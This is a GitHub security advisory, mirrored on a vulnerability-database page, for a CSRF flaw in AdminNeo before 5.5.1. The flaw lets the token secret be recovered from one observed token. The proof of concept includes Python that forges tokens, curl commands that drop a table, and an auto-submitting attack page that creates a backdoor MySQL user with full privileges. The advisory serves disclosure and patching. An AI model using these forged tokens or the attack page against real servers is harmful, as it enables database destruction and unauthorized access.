GHSA-WM25-49W3-5QRG
Vulnerability from github – Published: 2026-10-30 22:51 – Updated: 2026-10-30 22:51Summary
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.
Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh
Details
Token generation in admin/include/functions.inc.php lines 1181-1184:
function get_token() {
$rand = rand(1, 1e6);
return ($rand ^ $_SESSION["token"]) . ":$rand";
}
Token verification in lines 1189-1192:
function verify_token() {
list($token, $rand) = explode(":", $_POST["token"]);
return ($rand ^ $_SESSION["token"]) == $token;
}
Session token initialized in admin/include/auth.inc.php lines 327 and 385:
$_SESSION["token"] = rand(1, 1e6);
Three distinct weaknesses:
1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
3. Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.
PoC
Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).
Step 1: Observe a single CSRF token
Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:
<input type='hidden' name='token' value='222277:990527'>
Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.
Step 2: Recover the session secret (instant, 1 XOR operation)
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530
The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.
Step 3: Forge unlimited valid CSRF tokens
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370
Each forged token is unique and valid. The attacker can generate as many as needed.
Step 4: Execute arbitrary SQL with the forged token
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=729376:481370" \
--data-urlencode "query=DROP TABLE csrf_victim_table;" \
-d "limit=0"
Step 5: Verify a random wrong token is rejected (control)
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=111:222" \
--data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."
Weaponized CSRF attack page
In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
<input type="hidden" name="token" value="729376:481370">
<input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
<input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Impact
- Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.
- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "adminneo-org/adminneo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-96629"
],
"database_specific": {
"cwe_ids": [
"CWE-330",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:51:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAdminNeo\u0027s CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (`rand(1, 1e6)`), making blind brute-force feasible even without token observation.\n\nOriginally reported by @az0mb13 in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg)\n\n### Details\nToken generation in `admin/include/functions.inc.php` lines 1181-1184:\n\n```php\nfunction get_token() {\n\t$rand = rand(1, 1e6);\n\treturn ($rand ^ $_SESSION[\"token\"]) . \":$rand\";\n}\n```\n\nToken verification in lines 1189-1192:\n\n```php\nfunction verify_token() {\n\tlist($token, $rand) = explode(\":\", $_POST[\"token\"]);\n\treturn ($rand ^ $_SESSION[\"token\"]) == $token;\n}\n```\n\nSession token initialized in `admin/include/auth.inc.php` lines 327 and 385:\n\n```php\n$_SESSION[\"token\"] = rand(1, 1e6);\n```\n\n**Three distinct weaknesses:**\n1. **Instant recovery:** The token format `(rand XOR secret):rand` transmits both operands. Recovery is trivial: `secret = masked_value XOR rand`.\n2. **Low entropy**: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.\n3. **Loose comparison**: `verify_token()` uses `==` (loose comparison) instead of `===`, enabling PHP type juggling.\n\n### PoC\n\n**Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).**\n\n**Step 1: Observe a single CSRF token**\n\nLoad any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:\n\n```html\n\u003cinput type=\u0027hidden\u0027 name=\u0027token\u0027 value=\u0027222277:990527\u0027\u003e\n```\n\nToken observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.\n\n**Step 2: Recover the session secret (instant, 1 XOR operation)**\n\n```python\nobserved = \"542273:441804\"\nmasked, rand_val = observed.split(\":\")\nsession_secret = int(masked) ^ int(rand_val)\n# Result: 817530\n```\n\nThe token format is `(rand XOR secret):rand`. Both operands are transmitted, so the secret is recovered with a single XOR \u2014 zero additional requests needed.\n\n**Step 3: Forge unlimited valid CSRF tokens**\n\n```python\nimport random\nforge_rand = random.randint(1, 1000000)\nforged = f\"{forge_rand ^ session_secret}:{forge_rand}\"\n# Example output: 729376:481370\n```\n\nEach forged token is unique and valid. The attacker can generate as many as needed.\n\n**Step 4: Execute arbitrary SQL with the forged token**\n\n```shell\n# Forged token used to DROP a table the attacker never had a token for:\ncurl -b victim_cookies.txt \\\n \u0027http://target/adminneo/?mysql=127.0.0.1\u0026username=root\u0026db=testdb\u0026sql=\u0027 \\\n --data-urlencode \"token=729376:481370\" \\\n --data-urlencode \"query=DROP TABLE csrf_victim_table;\" \\\n -d \"limit=0\"\n```\n\n**Step 5: Verify a random wrong token is rejected (control)**\n\n```shell\ncurl -b victim_cookies.txt \\\n \u0027http://target/adminneo/?mysql=127.0.0.1\u0026username=root\u0026db=testdb\u0026sql=\u0027 \\\n --data-urlencode \"token=111:222\" \\\n --data-urlencode \"query=SELECT 1\" -d \"limit=1\"\n# Result: \"Invalid CSRF token. Send the form again.\"\n```\n\n**Weaponized CSRF attack page**\n\nIn a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:\n\n```html\n\u003chtml\u003e\u003cbody\u003e\n\u003ch1\u003eClick here for free database optimization tips\u003c/h1\u003e\n\u003c!-- Attacker recovered secret 817530 from an observed token --\u003e\n\u003c!-- Forged token: 729376:481370 --\u003e\n\u003ciframe style=\"display:none\" name=\"x\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\" target=\"x\"\n action=\"http://target/adminneo/?mysql=127.0.0.1\u0026username=root\u0026db=production\u0026sql=\"\u003e\n \u003cinput type=\"hidden\" name=\"token\" value=\"729376:481370\"\u003e\n \u003cinput type=\"hidden\" name=\"query\" value=\"CREATE USER \u0027backdoor\u0027@\u0027%\u0027 IDENTIFIED BY \u0027p@ss\u0027; GRANT ALL ON *.* TO \u0027backdoor\u0027@\u0027%\u0027 WITH GRANT OPTION;\"\u003e\n \u003cinput type=\"hidden\" name=\"limit\" value=\"0\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### Impact\n\n- **Cross-Site Request Forgery** against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE \u2014 all accepted by the server.\n- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.\n- With a forged token, the attacker can execute arbitrary SQL through the victim\u0027s session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.\n- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).",
"id": "GHSA-wm25-49w3-5qrg",
"modified": "2026-10-30T22:51:29Z",
"published": "2026-10-30T22:51:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adminneo-org/adminneo/security/advisories/GHSA-wm25-49w3-5qrg"
},
{
"type": "WEB",
"url": "https://github.com/adminneo-org/adminneo/commit/f575eee5e35eacd6c55a9912648e9e8fe24a9f44"
},
{
"type": "PACKAGE",
"url": "https://github.com/adminneo-org/adminneo"
},
{
"type": "WEB",
"url": "https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.